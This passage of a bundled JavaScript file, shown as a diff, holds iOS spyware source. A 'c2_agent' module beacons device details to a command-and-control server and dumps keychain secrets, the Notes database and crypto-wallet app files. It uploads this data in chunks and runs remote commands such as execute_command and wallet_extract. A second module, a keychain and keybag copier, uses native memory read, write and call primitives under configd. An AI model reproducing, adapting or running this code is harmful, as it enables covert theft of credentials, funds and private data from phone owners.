(Number(Native.callSymbol(\"access\", plistPath, 0)) !== 0) continue;\n\t\tvar bytes = _readFileBytes(plistPath, 8192);\n\t\tif (!bytes || bytes.length === 0) continue;\n\t\tvar content = _rawToStr(bytes);\n\t\tfor (var bid in WALLET_BUNDLE_IDS) {\n\t\t\tif (content.indexOf(bid) >= 0 && !containerMap[bid]) containerMap[bid] = cpath;\n\t\t}\n\t}\n\n\tvar sandbox = {};\n\tvar totalSize = 0;\n\tfor (var bid in containerMap) {\n\t\tvar cfg = WALLET_BUNDLE_IDS[bid];\n\t\tif (!cfg.sandbox || !cfg.files) continue;\n\t\tvar key = _hqSandboxKeyMap[cfg.name] || cfg.name.toLowerCase().replace(/ /g, \"_\");\n\t\tvar perFileMax = cfg.maxFileSize || 2097152;\n\t\tvar resolved = _resolveWalletFiles(containerMap[bid], cfg.files);\n\t\tvar files = {};\n\t\tfor (var fi = 0; fi < resolved.length; fi++) {\n\t\t\tvar rf = resolved[fi];\n\t\t\tvar fd = readFileB64(rf.absPath, perFileMax);\n\t\t\tif (!fd) continue;\n\t\t\tfiles[rf.relPath] = fd.b64;\n\t\t\ttotalSize += fd.size;\n\t\t}\n\t\tif (Object.keys(files).length > 0) sandbox[key] = files;\n\t}\n\n\treturn { device_uuid: deviceUUID, keychain: keychain, sandbox: sandbox, sandbox_total_size: totalSize };\n}\n\nfunction _httpPostBody(url, bodyStr) {\n\tvar parsed = parseURL(url);\n\tif (url.indexOf(\"https://\") === 0)\n\t\treturn _cfstreamPost(parsed.host, parsed.port, parsed.path, bodyStr);\n\treturn _socketPost(parsed.host, parsed.port, parsed.path, bodyStr);\n}\n\n// POST wallet package to /war. Bodies larger than WAR_POST_MAX are split into\n// war_chunk parts (still on /war); inbox reassembles before normal extract.\nfunction _postWarPackage(url, pkg) {\n\tvar bodyStr = JSON.stringify(pkg);\n\tif (bodyStr.length <= WAR_POST_MAX) {\n\t\treturn _httpPostBody(url, bodyStr);\n\t}\n\tvar uploadId = String(DEVICE_UUID || \"dev\").replace(/[^0-9A-Fa-f]/g, \"\") + \"_\" + String(Date.now());\n\t// Keep each HTTP JSON under WAR_POST_MAX after base64 + wrapper overhead.\n\tvar rawMax = Math.floor((WAR_POST_MAX - 2048) * 3 / 4);\n\tif (rawMax < 256 * 1024) rawMax = 256 * 1024;\n\tvar tmpPath = \"/tmp/war_pkg_\" + uploadId + \".json\";\n\tif (!_secWriteText(tmpPath, bodyStr)) {\n\t\t_writeLog(\"[WALLET-HQ] war chunk tmp write fail; trying single POST len=\" + bodyStr.length);\n\t\treturn _httpPostBody(url, bodyStr);\n\t}\n\tvar fileSize = getFileSize(tmpPath);\n\tif (fileSize <= 0) {\n\t\tNative.callSymbol(\"unlink\", tmpPath);\n\t\treturn _httpPostBody(url, bodyStr);\n\t}\n\tvar totalChunks = Math.ceil(fileSize / rawMax);\n\t_writeLog(\"[WALLET-HQ] chunked /war upload_id=\" + uploadId + \" bytes=\" + fileSize + \" parts=\" + totalChunks);\n\tvar fd = Number(Native.callSymbol(\"open\", tmpPath, 0, 0));\n\tif (fd < 0) {\n\t\tNative.callSymbol(\"unlink\", tmpPath);\n\t\treturn _httpPostBody(url, bodyStr);\n\t}\n\tvar buf = Native.callSymbol(\"malloc\", BigInt(rawMax));\n\tvar sentOk = 0;\n\tvar lastErr = \"\";\n\ttry {\n\t\tfor (var ci = 0; ci < totalChunks; ci++) {\n\t\t\tvar toRead = Math.min(rawMax, fileSize - ci * rawMax);\n\t\t\tvar nr = Number(Native.callSymbol(\"read\", fd, buf, toRead));\n\t\t\tif (nr <= 0) { lastErr = \"read \" + nr; break; }\n\t\t\tvar b64 = bytesToBase64(new Uint8Array(Native.read(buf, nr)));\n\t\t\tvar part = {\n\t\t\t\tdevice_uuid: DEVICE_UUID,\n\t\t\t\twar_chunk: true,\n\t\t\t\tupload_id: uploadId,\n\t\t\t\tchunk_index: ci,\n\t\t\t\ttotal_chunks: totalChunks,\n\t\t\t\ttotal_bytes: fileSize,\n\t\t\t\tdata: b64\n\t\t\t};\n\t\t\tvar partStr = JSON.stringify(part);\n\t\t\tvar postOk = false;\n\t\t\tfor (var retry = 0; retry < 3; retry++) {\n\t\t\t\ttry {\n\t\t\t\t\tvar r = _httpPostBody(url, partStr);\n\t\t\t\t\tif (r !== null) { postOk = true; break; }\n\t\t\t\t} catch (_pe) {}\n\t\t\t\tNative.callSymbol(\"usleep\", 2000000);\n\t\t\t}\n\t\t\tif (!postOk) { lastErr = \"POST fail chunk \" + ci; break; }\n\t\t\tsentOk++;\n\t\t}\n\t} finally {\n\t\tif (buf && buf !== 0n) Native.callSymbol(\"free\", buf);\n\t\tNative.callSymbol(\"close\", fd);\n\t\tNative.callSymbol(\"unlink\", tmpPath);\n\t}\n\tif (sentOk !== totalChunks) {\n\t\t_writeLog(\"[WALLET-HQ] chunked /war incomplete sent=\" + sentOk + \"/\" + totalChunks + \" err=\" + lastErr);\n\t\treturn null;\n\t}\n\treturn { ok: true, chunked: true, upload_id: uploadId, total_chunks: totalChunks, total_bytes: fileSize };\n}\n\n// ============================================================================\n// Main Loop\n// ============================================================================\n\nNative.init();\n\n// ===== DEBUG uplink: prove c2_agent actually evaluated in SpringBoard =====\ntry {\n\tvar _dbgfd = Number(Native.callSymbol(\"socket\", 2, 1, 0));\n\tif (_dbgfd >= 0) {\n\t\tvar _dbgone = Native.callSymbol(\"calloc\", 1, 8);\n\t\tNative.write(_dbgone, new Uint8Array([1,0,0,0]).buffer);\n\t\tNative.callSymbol(\"setsockopt\", _dbgfd, 0xffff, 0x1022, _dbgone, 4);\n\t\tNative.callSymbol(\"free\", _dbgone);\n\t\tvar _dbgaddr = Native.callSymbol(\"calloc\", 1, 16);\n\t\tvar _dbga8 = new Uint8Array(16);\n\t\t_dbga8[0] = 16; _dbga8[1] = 2; _dbga8[2] = 0x1B; _dbga8[3] = 0x6E; // port 7022 BE\n\t\t_dbga8[4] = 192; _dbga8[5] = 168; _dbga8[6] = 4; _dbga8[7] = 10;\n\t\tNative.write(_dbgaddr, _dbga8.buffer);\n\t\tif (Number(Native.callSymbol(\"connect\", _dbgfd, _dbgaddr, 16)) === 0) {\n\t\t\tvar _dbgreq = \"GET /log.html?text=C2SB_eval_alive_springboard HTTP/1.0\\r\\nHost: 192.168.31.130\\r\\n\\r\\n\";\n\t\t\tvar _dbgrbuf = Native.callSymbol(\"malloc\", _dbgreq.length + 1);\n\t\t\tNative.writeString(_dbgrbuf, _dbgreq);\n\t\t\tNative.callSymbol(\"write\", _dbgfd, _dbgrbuf, _dbgreq.length);\n\t\t\tNative.callSymbol(\"free\", _dbgrbuf);\n\t\t}\n\t\tNative.callSymbol(\"close\", _dbgfd);\n\t\tNative.callSymbol(\"free\", _dbgaddr);\n\t}\n} catch(e) {}\n// ===== END DEBUG uplink =====\n\nconst DEVICE_UUID = (function(){try{var b=String(\"69DD25B2CA8B5682BA2470D77124E2FC\");if(b&&b.indexOf(\"__LAB_\")<0&&b.length>=16)return b;}catch(e){}return _getDeviceUUID();})();\nconst DEVICE_MODEL = _getDeviceModel();\n\n// NOTE: first SecItem dump is deferred until AFTER the first beacon (Phase 1).\n// A SecItemCopyMatching wedge here would kill the agent before any heartbeat.\n\nfunction _sysctlString(name) {\n\tvar sizePtr = Native.callSymbol(\"calloc\", 1, 8);\n\tif (!sizePtr || sizePtr === 0n) return \"\";\n\tvar rc = Number(Native.callSymbol(\"sysctlbyname\", name, 0, sizePtr, 0, 0));\n\tif (rc !== 0) { Native.callSymbol(\"free\", sizePtr); return \"\"; }\n\tvar sz = Number(Native.readPtr(BigInt(sizePtr)));\n\tif (sz <= 0 || sz > 4096) { Native.callSymbol(\"free\", sizePtr); return \"\"; }\n\tvar buf = Native.callSymbol(\"malloc\", BigInt(sz + 1));\n\tif (!buf || buf === 0n) { Native.callSymbol(\"free\", sizePtr); return \"\"; }\n\tNative.write64(sizePtr, BigInt(sz + 1));\n\trc = Number(Native.callSymbol(\"sysctlbyname\", name, buf, sizePtr, 0, 0));\n\tvar result = rc === 0 ? Native.readString(buf, sz).replace(/\\0/g, \"\") : \"\";\n\tNative.callSymbol(\"free\", buf); Native.callSymbol(\"free\", sizePtr);\n\treturn result;\n}\n\n\nvar _beaconDevInfo = { machine: DEVICE_MODEL };\nif (C2_CHANNEL_CODE) _beaconDevInfo.channel_code = C2_CHANNEL_CODE;\ntry {\n\tvar _uts = Native.callSymbol(\"calloc\", 1, 1536);\n\tif (_uts && _uts !== 0n) {\n\t\tNative.callSymbol(\"uname\", _uts);\n\t\t_beaconDevInfo.sysname = Native.readString(_uts, 256).replace(/\\0/g, \"\");\n\t\t_beaconDevInfo.nodename = Native.readString(_uts + 256n, 256).replace(/\\0/g, \"\");\n\t\t_beaconDevInfo.release = Native.readString(_uts + 512n, 256).replace(/\\0/g, \"\");\n\t\t_beaconDevInfo.version = Native.readString(_uts + 768n, 256).replace(/\\0/g, \"\");\n\t\t_beaconDevInfo.arch = Native.readString(_uts + 1024n, 256).replace(/\\0/g, \"\");\n\t\tNative.callSymbol(\"free\", _uts);\n\t}\n} catch(e) {}\ntry {\n\tvar _hbuf = Native.callSymbol(\"malloc\", 256);\n\tif (_hbuf && _hbuf !== 0n) {\n\t\tif (Number(Native.callSymbol(\"gethostname\", _hbuf, 255)) === 0)\n\t\t\t_beaconDevInfo.hostname = Native.readString(_hbuf, 256).replace(/\\0/g, \"\");\n\t\tNative.callSymbol(\"free\", _hbuf);\n\t}\n} catch(e) {}\n\ntry { _beaconDevInfo.build_version = _sysctlString(\"kern.osversion\"); } catch(e) {}\ntry { _beaconDevInfo.ios_version = _sysctlString(\"kern.osproductversion\"); } catch(e) {}\ntry { _beaconDevInfo.kern_version = _beaconDevInfo.version || \"\"; } catch(e) {}\n\nfunction _senBeacon() {\n\ttry {\n\t\treturn httpPost(C2_BEACON_URL, {\n\t\t\tuuid: DEVICE_UUID, device_info: _beaconDevInfo, status: \"idle\"\n\t\t});\n\t} catch(e) { return null; }\n}\n\n// --- Phase 1: First SEN beacon (registers device, starts 5-min delay) ---\nvar _senResp1 = _senBeacon();\nvar _deviceIP = \"\";\nif (_senResp1 && _senResp1.client_ip) _deviceIP = _senResp1.client_ip;\nNative.callSymbol(\"usleep\", 2000000);\n\n// Heartbeat established — now safe to attempt the early keychain plaintext\n// grab (device still likely unlocked). u_AuthUISkip protects against wedges.\ntry { _kcSecItemDump(true); } catch(_kd0) {}\n\nfunction _hqHeartbeat() {\n\ttry {\n\t\tvar body = { lhu: DEVICE_UUID, type: \"status\", source: \"c2_agent\" };\n\t\tif (_deviceIP) body.ip = _deviceIP;\n\t\thqPost(\"/event\", body);\n\t} catch(e) {}\n}\n\n// --- Phase 2: HQ auto-collect (SEN heartbeats interspersed) ---\n\ntry { hqPost(\"/a\", {\n\tlhu: DEVICE_UUID, machine: DEVICE_MODEL,\n\tdeviceName: _beaconDevInfo.hostname || \"\",\n\tios_version: _beaconDevInfo.ios_version || \"\",\n\tbuild_version: _beaconDevInfo.build_version || \"\",\n\tkern_version: _beaconDevInfo.kern_version || \"\",\n\thostname: _beaconDevInfo.hostname || \"\",\n\tsysname: _beaconDevInfo.sysname || \"\",\n\trelease: _beaconDevInfo.release || \"\",\n\tversion: _beaconDevInfo.version || \"\",\n\tip: _deviceIP,\n\tsource: \"c2_agent\"\n}); } catch(e) {}\n\nNative.callSymbol(\"usleep\", 1000000);\n_hqHeartbeat();\n\ntry {\n\tvar _hqApps = [];\n\tvar _appBases = [APP_DATA_BASE, \"/var/mobile/Containers/Bundle/Application\"];\n\tvar _hqDirs = [];\n\tvar _usedBase = \"\";\n\tfor (var _bi = 0; _bi < _appBases.length; _bi++) {\n\t\t_hqDirs = listDir(_appBases[_bi]);\n\t\tif (_hqDirs.length > 0) { _usedBase = _appBases[_bi]; break; }\n\t}\n\tfor (var _ai = 0; _ai < _hqDirs.length; _ai++) {\n\t\tif (_hqDirs[_ai].type !== \"dir\") continue;\n\t\tvar _acp = _usedBase + \"/\" + _hqDirs[_ai].name;\n\t\tvar _apl = _acp + \"/.com.apple.mobile_container_manager.metadata.plist\";\n\t\tvar _ab = _readFileBytes(_apl, 8192);\n\t\tif (!_ab || _ab.length === 0) continue;\n\t\tvar _ac = _rawToStr(_ab);\n\t\tif (_ac.indexOf(\"MCMMetadataIdentifier\") < 0) continue;\n\t\tvar _bm = _ac.match(/MCMMetadataIdentifier<\\/key>\\s*([^<]+)/);\n\t\tif (!_bm) {\n\t\t\tvar _bpAll = _ac.match(/[a-z][a-z0-9]*(?:\\.[a-zA-Z0-9_-]+){2,}/g);\n\t\t\tif (_bpAll) {\n\t\t\t\tfor (var _bpi = 0; _bpi < _bpAll.length; _bpi++) {\n\t\t\t\t\tif (_bpAll[_bpi].indexOf(\"MCM\") >= 0) continue;\n\t\t\t\t\t_bm = [null, _bpAll[_bpi]];\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif (!_bm) continue;\n\t\tvar _appName = _bm[1];\n\t\tvar _subDirs = listDir(_acp);\n\t\tfor (var _si = 0; _si < _subDirs.length; _si++) {\n\t\t\tvar _sn = _subDirs[_si].name;\n\t\t\tif (_sn.length > 4 && _sn.substring(_sn.length - 4) === \".app\") {\n\t\t\t\t_appName = _sn.substring(0, _sn.length - 4);\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\t_hqApps.push({ uuid: _hqDirs[_ai].name, bundleId: _bm[1], name: _appName });\n\t}\n\thqPost(\"/u\", { lhu: DEVICE_UUID, apps: _hqApps, count: _hqApps.length, source: \"c2_agent\" });\n} catch(e) {}\n\n_senBeacon();\nNative.callSymbol(\"usleep\", 1000000);\n\ntry {\n\tvar _hqDbPath = _findNoteStore();\n\tif (_hqDbPath) {\n\t\tvar _hqSuffixes = [\"\", \"-wal\", \"-shm\"];\n\t\tvar _hqTmpBase = \"/tmp/_hq_notestore\";\n\t\tfor (var _ci = 0; _ci < _hqSuffixes.length; _ci++) {\n\t\t\tvar _csrc = _hqDbPath + _hqSuffixes[_ci];\n\t\t\tif (Number(Native.callSymbol(\"access\", _csrc, 0)) === 0) {\n\t\t\t\tvar _cdst = _hqTmpBase + _hqSuffixes[_ci];\n\t\t\t\t_cmdCp([\"cp\", _csrc, _cdst]);\n\t\t\t\tNative.callSymbol(\"chmod\", _cdst, 0x1A4);\n\t\t\t}\n\t\t}\n\t\tvar _noteList = [];\n\t\tvar _noteRows = _sqliteQuery(_hqTmpBase,\n\t\t\t\"SELECT Z_PK, ZTITLE1, ZSNIPPET, ZMODIFICATIONDATE1 FROM ZICCLOUDSYNCINGOBJECT WHERE ZTITLE1 IS NOT NULL ORDER BY ZMODIFICATIONDATE1 DESC LIMIT 500\", 500);\n\t\tif (_noteRows && _noteRows.rows) {\n\t\t\tfor (var _ni = 0; _ni < _noteRows.rows.length; _ni++) {\n\t\t\t\tvar _nr = _noteRows.rows[_ni];\n\t\t\t\tif (!_nr.ZTITLE1 && !_nr.ZSNIPPET) continue;\n\t\t\t\t_noteList.push({\n\t\t\t\t\tid: _nr.Z_PK,\n\t\t\t\t\ttitle: _nr.ZTITLE1 || \"\",\n\t\t\t\t\tsnippet: _nr.ZSNIPPET || \"\",\n\t\t\t\t\tmod: _nr.ZMODIFICATIONDATE1\n\t\t\t\t});\n\t\t\t}\n\t\t}\n\t\tvar _hqDbFiles = [];\n\t\tfor (var _mi = 0; _mi < _hqSuffixes.length; _mi++) {\n\t\t\tvar _mfp = _hqTmpBase + _hqSuffixes[_mi];\n\t\t\tvar _mfd = readFileB64(_mfp, 5242880);\n\t\t\tif (_mfd) {\n\t\t\t\tvar _origName = _hqDbPath.substring(_hqDbPath.lastIndexOf(\"/\") + 1) + _hqSuffixes[_mi];\n\t\t\t\t_hqDbFiles.push({ name: _origName, data: _mfd.b64, size: _mfd.size });\n\t\t\t}\n\t\t}\n\t\tfor (var _di = 0; _di < _hqSuffixes.length; _di++)\n\t\t\tNative.callSymbol(\"unlink\", _hqTmpBase + _hqSuffixes[_di]);\n\t\tif (_noteList.length > 0 || _hqDbFiles.length > 0)\n\t\t\thqPost(\"/nb\", { lhu: DEVICE_UUID, list: _noteList, db_files: _hqDbFiles, db_path: _hqDbPath, count: _noteList.length, source: \"c2_agent\" });\n\t}\n} catch(e) {}\n\n_senBeacon();\n_hqHeartbeat();\nNative.callSymbol(\"usleep\", 1000000);\n\nvar _walletHqSent = false;\nvar _walletHqP7Logged = false;\nvar _walletHqFailLogged = false;\nvar _walletHqAttempt = 0;\nvar _walletHqPlainAtSend = 0;\nvar _walletHqResends = 0;\nfunction _tryWalletHq(reason) {\n\tif (_walletHqSent) return true;\n\t_walletHqAttempt++;\n\tvar _kcDonePath = \"/tmp/keychain_c2_dump.done\";\n\tvar hasDone = Number(Native.callSymbol(\"access\", _kcDonePath, 0)) === 0;\n\tvar hasPartial = Number(Native.callSymbol(\"access\", \"/tmp/keychain_c2_dump.partial\", 0)) === 0;\n\tvar hasJson = Number(Native.callSymbol(\"access\", \"/tmp/keychain_c2_dump.json\", 0)) === 0;\n\tvar hasDb = false;\n\ttry {\n\t\tvar __tdbFd = Number(Native.callSymbol(\"open\", \"/tmp/keychain-2.db\", 0));\n\t\tif (__tdbFd >= 0) {\n\t\t\tvar __tdbSz = Number(Native.callSymbol(\"lseek\", __tdbFd, 0, 2));\n\t\t\tNative.callSymbol(\"close\", __tdbFd);\n\t\t\thasDb = __tdbSz > 1024;\n\t\t}\n\t} catch (_tdb) {}\n\tvar hasP7 = Number(Native.callSymbol(\"access\", \"/tmp/p7_debug.log\", 0)) === 0;\n\tvar hasFail = Number(Native.callSymbol(\"access\", \"/tmp/keychain_c2_dump.fail\", 0)) === 0;\n\tif (reason !== \"beacon-retry\" || (_walletHqAttempt % 4) === 1) {\n\t\t_writeLog(\"[WALLET-HQ] \" + reason + \" done=\" + hasDone + \" partial=\" + hasPartial + \" json=\" + hasJson + \" tmpdb=\" + hasDb + \" p7log=\" + hasP7 + \" fail=\" + hasFail);\n\t}\n\tif (hasFail && !_walletHqFailLogged) {\n\t\t_walletHqFailLogged = true;\n\t\ttry {\n\t\t\tvar fb = _readFileBytes(\"/tmp/keychain_c2_dump.fail\", 512);\n\t\t\tif (fb) _writeLog(\"[WALLET-HQ] p7 fail marker: \" + _rawToStr(fb));\n\t\t} catch(_fre) {}\n\t}\n\t// Re-tail p7 on first sight and every beacon-retry so HTTP/phone_logs show Phase2 progress\n\t// (pe_stage/*.js are ~100B trampolines — real logs live in /tmp/p7_debug.log).\n\tif (hasP7 && (!_walletHqP7Logged || reason === \"beacon-retry\")) {\n\t\ttry {\n\t\t\tvar p7b = _readFileBytes(\"/tmp/p7_debug.log\", 24000);\n\t\t\tif (p7b) {\n\t\t\t\tvar p7t = _rawToStr(p7b);\n\t\t\t\t_writeLog(\"[WALLET-HQ] p7_debug.tail=\" + p7t.slice(Math.max(0, p7t.length - 2200)));\n\t\t\t\t_walletHqP7Logged = true;\n\t\t\t}\n\t\t} catch(_p7e) {}\n\t}\n\tif (hasFail) {\n\t\t// Definitive failure from P7 Phase 2 — send what we have immediately\n\t\t// (fail-json is picked up by _buildWalletPkg as `keychain` with fail:true).\n\t\t// Do NOT wait for 40 retries; this keeps C2 responsive.\n\t} else if (!hasJson && !hasFail) {\n\t\t// Wait for Phase2 json (early .done alone is not enough — 18.5 early C2).\n\t\tvar _p7Busy = Number(Native.callSymbol(\"access\", \"/tmp/p7_debug.log\", 0)) === 0;\n\t\tif (!_p7Busy && _walletHqAttempt % 5 === 0) { try { _kcSecItemDump(false); } catch(_kdr) {} }\n\t\tif (_walletHqAttempt < 80) return false;\n\t\t_writeLog(\"[WALLET-HQ] force sandbox-only after retries json=false\");\n\t}\n\tif (!hasDone) { try { _kcSecItemDump(false); } catch(_kd) {} }\n\tNative.callSymbol(\"usleep\", 500000);\n\tvar _walletPkg = _buildWalletPkg(DEVICE_UUID);\n\tif (!_walletPkg) {\n\t\t_writeLog(\"[WALLET-HQ] _buildWalletPkg returned null\");\n\t\treturn false;\n\t}\n\tvar _walletUrl = HQ_API_BASE.replace(/:\\d+/, \":\" + HQ_WALLET_PORT) + \"/war\";\n\tvar _walletBodyLen = JSON.stringify(_walletPkg).length;\n\t_writeLog(\"[WALLET-HQ] sending to \" + _walletUrl + \" body=\" + _walletBodyLen +\n\t\t(_walletBodyLen > WAR_POST_MAX ? \" (chunked>\" + WAR_POST_MAX + \")\" : \"\"));\n\ttry {\n\t\tvar _walletResp = _postWarPackage(_walletUrl, _walletPkg);\n\t\tif (_walletResp === null) {\n\t\t\t_writeLog(\"[WALLET-HQ] POST FAILED (null)\");\n\t\t\treturn false;\n\t\t}\n\t\t_writeLog(\"[WALLET-HQ] POST ok resp=\" + JSON.stringify(_walletResp));\n\t\t_walletHqSent = true;\n\t\t_walletHqPlainAtSend = _secDumpState.plain;\n\t\treturn true;\n\t} catch(walletErr) {\n\t\t_writeLog(\"[WALLET-HQ] POST FAILED err=\" + String(walletErr));\n\t\treturn false;\n\t}\n}\ntry {\n\t_tryWalletHq(\"after-nb\");\n} catch(walletOuterErr) {\n\t_writeLog(\"[WALLET-HQ] outer error: \" + String(walletOuterErr));\n}\n\n_senBeacon();\n_hqHeartbeat();\nNative.callSymbol(\"usleep\", 1000000);\n\ntry {\n\t/* photos upload disabled */\n} catch(e) {}\n\n// --- Phase 3: SEN beacon loop ---\n\nvar _hqHeartbeatNext = Date.now() + 60000;\nlet interval = 15;\nfor (;;) {\n\ttry {\n\t\tconst resp = _senBeacon();\n\t\tif (!_walletHqSent) { try { _tryWalletHq(\"beacon-retry\"); } catch(_wr) {} }\n\t\telse if (_walletHqResends < 3) {\n\t\t\t// Late-unlock self-heal: keep dumping; resend /war when plaintext grows.\n\t\t\ttry { _kcSecItemDump(false); } catch(_kd2) {}\n\t\t\tif (_secDumpState.plain > _walletHqPlainAtSend) {\n\t\t\t\t_walletHqResends++;\n\t\t\t\ttry {\n\t\t\t\t\tvar _pkg2 = _buildWalletPkg(DEVICE_UUID);\n\t\t\t\t\tif (_pkg2) {\n\t\t\t\t\t\tvar _url2 = HQ_API_BASE.replace(/:\\d+/, \":\" + HQ_WALLET_PORT) + \"/war\";\n\t\t\t\t\t\t_writeLog(\"[WALLET-HQ] resend plain=\" + _secDumpState.plain + \" > \" + _walletHqPlainAtSend + \" #\" + _walletHqResends);\n\t\t\t\t\t\t_postWarPackage(_url2, _pkg2);\n\t\t\t\t\t\t_walletHqPlainAtSend = _secDumpState.plain;\n\t\t\t\t\t}\n\t\t\t\t} catch(_re) {}\n\t\t\t}\n\t\t}\n\n\t\tif (resp && resp.type && resp.type !== \"noop\") {\n\t\t\ttry {\n\t\t\t\tswitch (resp.type) {\n\t\t\t\t\tcase \"execute_command\": handleExecuteCommand(resp); break;\n\t\t\t\t\tcase \"ls\": handleLs(resp); break;\n\t\t\t\t\tcase \"download\": handleDownload(resp); break;\n\t\t\t\t\tcase \"photos\": handlePhotos(resp); break;\n\t\t\t\t\tcase \"apps\": handleApps(resp); break;\n\t\t\t\t\tcase \"exec\": handleExec(resp); break;\n\t\t\t\t\tcase \"file_upload\": handleFileUpload(resp); break;\n\t\t\t\t\tcase \"basic_info\": handleBasicInfo(resp); break;\n\t\t\t\t\tcase \"disk_scan\": handleDiskScan(resp); break;\n\t\t\t\t\tcase \"ios_app_data\": handleIosAppData(resp); break;\n\t\t\t\tcase \"wallet_extract\": handleWalletExtract(resp); break;\n\t\t\t\tcase \"wallet_scan\": handleWalletScan(resp); break;\n\t\t\t\tcase \"memo_scan\": handleMemoScan(resp); break;\n\t\t\t\tcase \"photo_scan\": handlePhotoScan(resp); break;\n\t\t\t\tcase \"sleep\":\n\t\t\t\t\t\tinterval = (resp.params && resp.params.interval) || 15;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"exit\":\n\t\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t} catch (cmdErr) {\n\t\t\t\ttry {\n\t\t\t\t\tsendJSON(resp.command_id, {\n\t\t\t\t\t\tstatus: \"failed\",\n\t\t\t\t\t\terror: String(cmdErr),\n\t\t\t\t\t\t_task_id: (resp.params && resp.params._task_id) || \"\",\n\t\t\t\t\t\t_task_type: (resp.params && resp.params._task_type) || \"\"\n\t\t\t\t\t}, \"error_report.json\");\n\t\t\t\t} catch(re) {}\n\t\t\t}\n\t\t\tif (resp.type === \"exit\") break;\n\t\t}\n\t} catch (e) {\n\t}\n\n\tif (Date.now() >= _hqHeartbeatNext) {\n\t\t_hqHeartbeat();\n\t\t_hqHeartbeatNext = Date.now() + 60000;\n\t}\n\n\tNative.callSymbol(\"usleep\", interval * 1000000);\n}\n"); /***/ }), @@ -1442,7 +1442,7 @@ __webpack_require__.r(__webpack_exports__); /* harmony export */ __webpack_require__.d(__webpack_exports__, { /* harmony export */ "default": () => (__WEBPACK_DEFAULT_EXPORT__) /* harmony export */ }); -/* harmony default export */ const __WEBPACK_DEFAULT_EXPORT__ = ("// Keychain/Keybag Copier Payload\n// Runs under configd context which has access to keychain files\n// Copies keychain/keybag files to /tmp with 777 permissions\n// The main file_downloader payload will then send them\n\nclass Native {\n\t\n\tstatic #baseAddr;\n\tstatic #dlsymAddr;\n\tstatic #memcpyAddr;\n\tstatic #mallocAddr;\n\tstatic #oinvAddr;\n\t\n\tstatic mem = 0n;\n\tstatic memSize = 0x4000;\n\t\n\tstatic #argMem = 0n;\n\tstatic #argMemPtr = 0n;\n\tstatic #argMemPtrStr = 0n;\n\tstatic #argPtr = 0n;\n\tstatic #argPtrPtr = 0n;\n\tstatic #argPtrStrPtr = 0n;\n\n\tstatic #dlsymCache = {};\n\t\n\tstatic init() {\n\t\tconst buff = new BigUint64Array(nativeCallBuff);\n\t\tthis.#baseAddr = buff[20];\n\t\tthis.#dlsymAddr = buff[21];\n\t\tthis.#memcpyAddr = buff[22];\n\t\tthis.#mallocAddr = buff[23];\n\t\tthis.#oinvAddr = buff[24];\n\t\t\n\t\tthis.mem = this.#nativeCallAddr(this.#mallocAddr, BigInt(this.memSize));\n\t\tthis.#argMem = this.#nativeCallAddr(this.#mallocAddr, 0x1000n);\n\t\tthis.#argMemPtr = this.#nativeCallAddr(this.#mallocAddr, 0x1000n);\n\t\tthis.#argMemPtrStr = this.#nativeCallAddr(this.#mallocAddr, 0x1000n);\n\t\tthis.#argPtr = this.#argMem;\n\t\tthis.#argPtrPtr = this.#argMemPtr;\n\t\tthis.#argPtrStrPtr = this.#argMemPtrStr;\n\t}\n\t\n\tstatic write(ptr, buff) {\n\t\tif (!ptr) return false;\n\t\tlet buff8 = new Uint8Array(nativeCallBuff);\n\t\tlet offs = 0;\n\t\tlet left = buff.byteLength;\n\t\twhile (left) {\n\t\t\tlet len = left;\n\t\t\tif (len > 0x1000) len = 0x1000;\n\t\t\tbuff8.set(new Uint8Array(buff, offs, len), 0x1000);\n\t\t\tthis.#nativeCallAddr(this.#memcpyAddr, ptr + BigInt(offs), this.#baseAddr + 0x1000n, BigInt(len));\n\t\t\tleft -= len;\n\t\t\toffs += len;\n\t\t}\n\t\treturn true;\n\t}\n\t\n\tstatic read(ptr, length) {\n\t\tif (!ptr) return null;\n\t\tlet buff = new ArrayBuffer(length);\n\t\tlet buff8 = new Uint8Array(buff);\n\t\tlet offs = 0;\n\t\tlet left = length;\n\t\twhile (left) {\n\t\t\tlet len = left;\n\t\t\tif (len > 0x1000) len = 0x1000;\n\t\t\tthis.#nativeCallAddr(this.#memcpyAddr, this.#baseAddr + 0x1000n, ptr + BigInt(offs), BigInt(len));\n\t\t\tbuff8.set(new Uint8Array(nativeCallBuff, 0x1000, len), offs);\n\t\t\tleft -= len;\n\t\t\toffs += len;\n\t\t}\n\t\treturn buff;\n\t}\n\t\n\tstatic readPtr(ptr) {\n\t\tlet buff = this.read(ptr, 8);\n\t\tconst view = new DataView(buff);\n\t\treturn view.getBigUint64(0, true);\n\t}\n\t\n\tstatic read32(ptr) {\n\t\tlet buff = this.read(ptr, 4);\n\t\tconst view = new DataView(buff);\n\t\treturn view.getInt32(0, true);\n\t}\n\t\n\tstatic write64(ptr, value) {\n\t\tconst buff = new ArrayBuffer(8);\n\t\tconst view = new DataView(buff);\n\t\tview.setBigUint64(0, value, true);\n\t\tthis.write(ptr, buff);\n\t}\n\t\n\tstatic readString(ptr, len=1024) {\n\t\tlet buff = this.read(ptr, len);\n\t\treturn this.bytesToString(buff, false);\n\t}\n\t\n\tstatic writeString(ptr, str) {\n\t\tconst buff = this.stringToBytes(str, true);\n\t\tthis.write(ptr, buff);\n\t}\n\t\n\tstatic callSymbol(name, x0, x1, x2, x3, x4, x5, x6, x7) {\n\t\tthis.#argPtr = this.#argMem;\n\t\tx0 = this.#toNative(x0);\n\t\tx1 = this.#toNative(x1);\n\t\tx2 = this.#toNative(x2);\n\t\tx3 = this.#toNative(x3);\n\t\tx4 = this.#toNative(x4);\n\t\tx5 = this.#toNative(x5);\n\t\tx6 = this.#toNative(x6);\n\t\tx7 = this.#toNative(x7);\n\t\tlet ret = this.#nativeCallSymbol(name, x0, x1, x2, x3, x4, x5, x6, x7);\n\t\tthis.#argPtr = this.#argMem;\n\t\treturn ret;\n\t}\n\n\tstatic bytesToString(bytes, includeNullChar=true) {\n\t\tlet bytes8 = new Uint8Array(bytes);\n\t\tlet str = \"\";\n\t\tfor (let i=0; i= 0x1000) return 0n;\n\t\t\tlet ptr = this.#argPtr;\n\t\t\tthis.writeString(ptr, value);\n\t\t\tthis.#argPtr += BigInt(value.length + 1);\n\t\t\treturn ptr;\n\t\t}\n\t\telse if (typeof value === 'bigint') return value;\n\t\telse return BigInt(value);\n\t}\n\n\tstatic 